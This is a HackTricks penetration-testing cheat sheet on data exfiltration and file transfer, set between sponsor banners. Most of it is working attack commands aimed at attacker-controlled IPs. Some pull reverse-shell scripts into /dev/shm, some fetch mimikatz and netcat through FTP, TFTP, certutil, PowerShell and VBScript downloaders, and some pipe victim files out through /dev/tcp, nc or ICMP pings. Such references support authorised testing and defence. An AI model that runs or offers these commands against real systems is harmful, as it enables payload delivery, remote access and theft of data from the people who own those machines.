# Exfiltration
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Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## Commonly whitelisted domains to exfiltrate information Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused ## Copy\&Paste Base64 **Linux** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` **Windows** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` ## HTTP **Linux** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` **Windows** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ### Upload files * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) * [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Python module [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver # With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` ### **HTTPS Server** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # generate server.xml with the following command: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # run as follows: # python simple-https-server.py # then in your browser, visit: # https://localhost:443 ### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() ### ### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() ### ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): print(request.get_json()) return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` ## FTP ### FTP server (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` ### FTP server (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` ### FTP server (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` ```bash #Run the following script to configure the FTP server #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pwd useradd fusr -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` ### **Windows** client ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt echo bin >> ftp.txt echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ```
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** ## SMB Kali as server ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` Or create a smb share **using samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` Windows ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP The attacker has to have SSHd running. ```bash scp @:/ ``` ## SSHFS If the victim has SSH, the attacker can mount a directory from the victim to the attacker. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp ### Download file from victim ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` ### Upload file to victim ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` thanks to **@BinaryShadow\_** ## **ICMP** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** If you can send data to an SMTP server, you can create an SMTP to receive the data with python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP By default in XP and 2003 (in others it needs to be explicitly added during installation) In Kali, **start TFTP server**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **TFTP server in python:** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` In **victim**, connect to the Kali server: ```bash tftp -i get nc.exe ``` ## PHP Download a file with a PHP oneliner: ```bash echo "" > down2.php ``` ## VBScript ```bash Attacker> python -m SimpleHTTPServer 80 ``` **Victim** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe This is a crazy technique that works on Windows 32 bit machines. The idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`. `Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that: ``` upx -9 nc.exe ``` Now it only weighs 29 kb. Perfect. So now let's disassemble it: ``` wine exe2bat.exe nc.exe nc.txt ``` Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.